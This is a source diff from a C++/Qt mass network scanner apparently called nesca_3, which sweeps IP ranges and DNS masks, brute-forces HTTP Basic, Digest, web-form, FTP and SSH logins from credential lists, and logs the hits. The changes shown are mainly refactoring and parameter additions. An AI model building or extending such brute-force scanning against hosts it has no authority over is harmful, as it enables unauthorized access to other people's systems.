ip, port, ip, port, finalstr, lps.login, lps.pass);
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
fillGlobalLogData(ip, port, std::to_string(size).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
fputsf (log , flag, "HFS");
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
}
else if(flag == 1)
{
_specBrute(ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd);
_specBrute(ip, p, finalstr, flag, baPath, "[NORMAL]", cp, size);
}
else if(flag == 101)
{
_specBrute(ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd);
_specBrute(ip, p, finalstr, flag, baPath, "[DIGEST]", cp, size);
}
else if(flag == 10)
{
_specWFBrute(ip, p, hl, buffcpy, flag, baPath, "Web Form", "Web Form", cp, recd, finalstr);
_specWFBrute(ip, p, buffcpy, flag, baPath, "Web Form", "Web Form", cp, size, finalstr);
}
else if(flag == 2)
{
putInFile(0, ip, port, size, "[OVERFLOW]", cp);
}
else
{
putInFile(flag, ip, port, recd, finalstr, hl, cp);
putInFile(flag, ip, port, size, finalstr, cp);
};
return flag;
@ -1738,7 +1741,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
{
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage);
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage, cSz);
ps->flag = ls->flag;
if(ls->flag == -1)
@ -1771,7 +1774,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
strcat(ps->headr, " -> ");
strcat(ps->headr, GetTitle(buffer.c_str()));
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
{
ps->flag = -1;
strcpy(ps->path, tempPath);
@ -1855,7 +1858,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
{
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage);
ls->flag = ContentFilter(buffer.c_str(), tempPort, tempIP, ps->codepage, cSz);
ps->flag = ls->flag;
if(ls->flag == -1)
@ -1888,7 +1891,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
strcat(ps->headr, " -> ");
strcat(ps->headr, GetTitle(buffer.c_str()));
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
{
ps->flag = -1;
strcpy(ps->path, tempPath);
@ -1923,7 +1926,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
{
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage);
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage, cSz);
ps->flag = ls->flag;
if(ls->flag == -1)
@ -1955,7 +1958,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
strcat(ps->headr, "->");
strcat(ps->headr, GetTitle(buffer.c_str()));
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst) == -1)
if (ls->_header(tempIP, tempPort, buffer.c_str(), ls, ps, redirStrLst, cSz) == -1)
{
ps->flag = -1;
strcpy(ps->path, tempPath);
@ -1985,7 +1988,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
{
strcpy(ps->codepage, GetCodePage(buffer.c_str()));
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage);
ls->flag = ContentFilter(buffer.c_str(), port, ip, ps->codepage, cSz);
ps->flag = ls->flag;
if(ls->flag == -1)
@ -2017,7 +2020,7 @@ int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, st
strcat(ps->headr, " -> ");
strcat(ps->headr, GetTitle(buffer.c_str()));
ls->_header(ip, port, buffer.c_str(), ls, ps, redirStrLst);
ls->_header(ip, port, buffer.c_str(), ls, ps, redirStrLst, cSz);
ps->port = tempPort;
}
else
@ -2157,7 +2160,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
};
}
int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst)
int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, int size)
{
std::string redirectStr = "";
@ -2618,7 +2621,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
};
};
ps->flag = ContentFilter(str, port, ip, ps->codepage);
ps->flag = ContentFilter(str, port, ip, ps->codepage, size);
if(strstri(str, "window.open(") != NULL)
{

View File

@ -107,12 +107,6 @@ struct lopaStr{
char other[128];
};
struct conSTR{
char *lowerBuff;
int size;
bool overflow = false;
};
class Lexems
{
public:
@ -134,14 +128,13 @@ public:
const char str[],
Lexems *l,
PathStr *ps,
std::vector<std::string> *lst);
std::vector<std::string> *lst, int size);
int _filler(int port,
const char *buffcpy,
char* ip,
int recd,
Lexems *lx,
char *hl);
int size,
Lexems *lx);
};

View File

@ -42,7 +42,8 @@ SOURCES +=\
FTPAuth.cpp \
Threader.cpp \
SSHAuth.cpp \
FileUpdater.cpp
FileUpdater.cpp \
FileDownloader.cpp
HEADERS += ActivityDrawerTh_HorNet.h \
@ -71,7 +72,8 @@ HEADERS += ActivityDrawerTh_HorNet.h \
FTPAuth.h \
Threader.h \
SSHAuth.h \
FileUpdater.h
FileUpdater.h \
FileDownloader.h
FORMS += nesca_3.ui

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE QtCreatorProject>
<!-- Written by QtCreator 3.2.1, 2015-03-23T10:43:12. -->
<!-- Written by QtCreator 3.2.1, 2015-03-31T17:30:00. -->
<qtcreator>
<data>
<variable>EnvironmentId</variable>

View File

@ -1920,6 +1920,7 @@ void nesca_3::IPScanSeq()
{
saveOptions();
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
stopFirst = false;
ui->tabMainWidget->setTabEnabled(1, false);
ui->tabMainWidget->setTabEnabled(2, false);
@ -2004,6 +2005,7 @@ void nesca_3::DNSScanSeq()
{
saveOptions();
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
if(ui->lineEditStartIPDNS->text().indexOf(".") > 0)
{
QStringList lst = ui->lineEditStartIPDNS->text().split(".");
@ -2063,6 +2065,9 @@ void nesca_3::ImportScanSeq()
ui->tabMainWidget->setTabEnabled(0, false);
ui->tabMainWidget->setTabEnabled(1, false);
ui->labelParsed_Value->setText("0/0");
ui->labelOffline_Value->setText("0");
strcpy(inputStr, ("DUMMY|-f|" + fileName + "|" + ui->importThreads->text() + "|-p" + ui->importPorts->text().replace(" ", "")).toLocal8Bit().data());
globalScanFlag = true;
@ -2292,8 +2297,10 @@ void nesca_3::ConnectEvrthng()
}
void _LoadPersInfoToLocalVars(int savedTabIndex) {
ZeroMemory(top_level_domain, sizeof(top_level_domain));
ZeroMemory(currentIP, sizeof(currentIP));
ZeroMemory(finalIP, sizeof(finalIP));
ZeroMemory(gPorts, sizeof(gPorts));
ZeroMemory(gTLD, sizeof(gTLD));
if(savedTabIndex == 0)
{
@ -2328,9 +2335,15 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) {
gThreads = ui->lineEditThread->text().toInt();
strcpy(currentIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data());
strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data());
strcpy(gTLD, ui->lineILVL->text().toLocal8Bit().data());
strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536);
gPorts[ui->lineEditPort->text().length() + 2] = '\0';
}
else if(savedTabIndex == 2)
{
gMode = -1;
gThreads = ui->importThreads->text().toInt();
strncpy(gPorts, ("-p" + ui->importPorts->text()).toLocal8Bit().data(), 65536);
};
strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data());
@ -2374,6 +2387,9 @@ void setUIText(char *field, QLineEdit *qle, const char *resStr) {
}
void RestoreSession()
{
ZeroMemory(gPorts, sizeof(gPorts));
ZeroMemory(gTLD, sizeof(gTLD));
FILE *resFile = fopen("restore", "r");
char resStr[128] = {0};
char *lex;
@ -2431,13 +2447,14 @@ void RestoreSession()
qLex.replace("[09]", "\\d");
ui->lineEditStartIPDNS->setText(qLex);
lex = strtok(NULL, " ");
strcpy(gFirstDom, lex);
if(strstr(lex, ".") != NULL) {
strcpy(gTLD, lex);
lex = strtok(NULL, " ");
}
gThreads = atoi(lex);
ui->lineEditThread->setText(QString(lex));
ui->lineILVL->setText(QString(gFirstDom));
ui->lineILVL->setText(QString(gTLD));
ui->tabMainWidget->setCurrentIndex(1);
ui->startScanButton_4->setText("RESTORE");
}

View File

@ -5,6 +5,7 @@
#include "Connector.h"
#include "Threader.h"
#include "FileUpdater.h"
#include "FileDownloader.h"
#include <thread>
QJsonArray *jsonArr = new QJsonArray();
@ -33,14 +34,13 @@ unsigned int Activity = 0;
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
double ips = 0;
char top_level_domain[128] = {0};
char **GlobalNegatives = 0;
char **loginLst, **passLst;
char **wfLoginLst, **wfPassLst;
char **sshlpLst;
char saveEndIP[128] = {0};
char gRange[128] = {0};
char gFirstDom[128] = {0};
char gTLD[128] = {0};
char gPorts[65536] = {0};
char metaRange[256] = {0};
char metaPercent[256] = {0};
@ -50,6 +50,7 @@ char metaETA[256] = {0};
char metaOffline[256] = {0};
char currentIP[MAX_ADDR_LEN] = {0};
char currentMask[128] = {0};
char finalIP[32] = {0};
bool ErrLogFirstTime = true;
@ -214,7 +215,7 @@ void _SaveBackupToFile()
{
if(gMode == 1)
{
strcpy(endStr, currentIP);
strcpy(endStr, currentMask);
}
else
{
@ -223,7 +224,8 @@ void _SaveBackupToFile()
if(strlen(endStr) > 0)
{
sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n", gMode, endStr, (gMode ? top_level_domain : ""), gThreads, gPorts);
sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n",
gMode, endStr, gTLD, gThreads, gPorts);
strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr));
};
@ -379,7 +381,6 @@ void _timer() {
stt->doEmitionIPS(QString(timeLeft));
stt->doEmitionOffline(QString::number(offlines));
ZeroMemory(timeLeft, sizeof(timeLeft));
ZeroMemory(dbuffer, sizeof(dbuffer));
@ -563,7 +564,7 @@ void _tracker() {
else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); //
jsonMeta.insert("range", QJsonValue(QString(metaRange)) );
jsonMeta.insert("current", QJsonValue(QString(currentIP)) );
if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD
if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(gTLD))); //TLD
jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) );
jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) );
jsonMeta.insert("saved", QJsonValue(QString::number(saved)) );
@ -758,6 +759,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
}
void _connect() {
std::string ip = "";
while (globalScanFlag) {
std::unique_lock<std::mutex> lk(Threader::m);
@ -776,20 +778,21 @@ void _connect() {
Threader::ready = false;
lk.unlock();
if (ip.size() == 0) return;
ConInc();
for (int i = 0; i <= overallPorts; ++i)
{
if (!globalScanFlag) break;
if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break;
if (Connector::_ConnectToPort((char*)ip.c_str(), portArr[i]) == -2) break;
};
ConDec();
}
}
}
inline void progressOutput(unsigned long target) {
void verboseProgress(unsigned long target) {
stt->doEmitionIPRANGE(QString(currentIP));
char targetNPers[128] = {0};
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
@ -800,18 +803,6 @@ inline void progressOutput(unsigned long target) {
sprintf(metaPercent, "%.1f",
percent);
}
void verboseProgress(unsigned long target, const char *ip) {
stt->doEmitionIPRANGE(QString(ip));
strcpy(currentIP, ip);
progressOutput(target);
}
void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, const char *mask) {
stt->doEmitionIPRANGE(QString(ip) + QString(TLD));
strcpy(currentIP, mask);
progressOutput(target);
}
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
unsigned char* ASCIItoUNICODE (unsigned char ch)
@ -1511,28 +1502,8 @@ int ParseArgs(int argc, char *argv[]) {
if(strstr(argv[1], "-f") != NULL)
{
gThreads = atoi(argv[3]);
threads = gThreads;
FileLoader(argv[2]);
gMode = -1;
}
else
{
gMode = atoi(argv[1]);
if(gMode == 0) //Mode 0 (IP scan)
{
gThreads = atoi(argv[3]);
}
else if(gMode == 1) //Mode 1 (DNS scan)
{
strcpy(gFirstDom, argv[3]);
gThreads = atoi(argv[4]);
};
threads = gThreads;
};
if(gMode == 0)
{
@ -1566,7 +1537,6 @@ int ParseArgs(int argc, char *argv[]) {
strcpy(gRange, argv[2]);
strcpy(saveEndIP, gRange);
};
};
for(int i = 1; i <= argc - 1; i++)
@ -1669,9 +1639,9 @@ int ParseArgs(int argc, char *argv[]) {
return 0;
}
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '_', '-',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'};
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};
int _getPos(char l) {
for(int i = 0; i < 38; ++i)
@ -1747,29 +1717,30 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
}
else
{
strcpy(currentIP, saveMask);
strcpy(currentMask, saveMask);
while(cons >= gThreads && globalScanFlag) Sleep(300);
if(!globalScanFlag) return 0;
verboseProgressDNS(--gTargets, mask, top_level_domain, saveMask);
std::string res = std::string(mask) + std::string(top_level_domain);
++indexIP;
sprintf(currentIP, "%s%s", mask, gTLD);
verboseProgress(--gTargets);
Threader::fireThread(res, (void*(*)(void))_connect);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
};
}
void runAuxiliaryThreads() {
std::thread lpThread(FileUpdater::updateLists);
lpThread.detach();
std::thread saverThread(_saver);
saverThread.detach();
std::thread fuThread(FileDownloader::checkWebFiles);
fuThread.detach();
std::thread trackerThread(_tracker);
trackerThread.detach();
std::thread timerThread(_timer);
timerThread.detach();
Sleep(1000);
std::thread saverThread(_saver);
saverThread.detach();
}
int startScan(char* args) {
@ -1845,7 +1816,6 @@ int startScan(char* args) {
tAddr.s_addr = ntohl(i);
ipVec.push_back(inet_ntoa(tAddr));
if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str());
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
@ -1856,12 +1826,12 @@ int startScan(char* args) {
if (!globalScanFlag) goto haters_gonna_hate_IPM;
++indexIP;
std::string res = ipVec[0];
strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin());
verboseProgress(gTargets--, res.c_str());
verboseProgress(--gTargets);
Threader::fireThread(res, (void*(*)(void))_connect);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
}
}
@ -1876,14 +1846,13 @@ int startScan(char* args) {
while (cons >= gThreads && globalScanFlag) Sleep(500);
if (!globalScanFlag) break;
std::string res = "";
++indexIP;
tAddr.s_addr = ntohl(i);
res = std::string(inet_ntoa(tAddr));
verboseProgress(gTargets--, res.c_str());
strcpy(currentIP, inet_ntoa(tAddr));
verboseProgress(--gTargets);
Threader::fireThread(res, (void*(*)(void))_connect);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
break;
}
@ -1891,8 +1860,6 @@ int startScan(char* args) {
}
else if (gMode == 1)
{
strcpy(top_level_domain, gFirstDom);
char dataEntry[1024] = { 0 };
int innerCounter = 0;
int sz = strlen(saveEndIP);
@ -1944,6 +1911,7 @@ int startScan(char* args) {
};
memset(dataEntry + innerCounter + 1, '\0', 1);
strcpy(currentMask, dataEntry);
for (int i = 0; i < sz; ++i)
{
@ -2001,7 +1969,7 @@ int startScan(char* args) {
stt->doEmitionYellowFoundData("Starting DNS-scan...");
stt->doEmitionChangeStatus("Scanning...");
int y = _GetDNSFromMask(dataEntry, "", dataEntry);
int y = _GetDNSFromMask(dataEntry, dataEntry, dataEntry);
if (y == -1)
{
stt->doEmitionRedFoundData("DNS-Mode error");
@ -2052,7 +2020,6 @@ int startScan(char* args) {
tAddr.s_addr = ntohl(i);
ipVec.push_back(inet_ntoa(tAddr));
if (ipVec.size() != 0) strcpy(currentIP, ipVec[0].c_str());
if (ipVec.size() >= (offset < 1000 ? offset : 1000)) {
@ -2063,12 +2030,11 @@ int startScan(char* args) {
if (!globalScanFlag) goto haters_gonna_hate_IM;
++indexIP;
std::string res = ipVec[0];
strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin());
verboseProgress(--gTargets);
verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
}
}
@ -2085,9 +2051,9 @@ int startScan(char* args) {
++indexIP;
tAddr.s_addr = ntohl(i);
std::string res = std::string(inet_ntoa(tAddr));
verboseProgress(gTargets--, res.c_str());
Threader::fireThread(res, (void*(*)(void))_connect);
strcpy(currentIP, inet_ntoa(tAddr));
verboseProgress(--gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
break;
};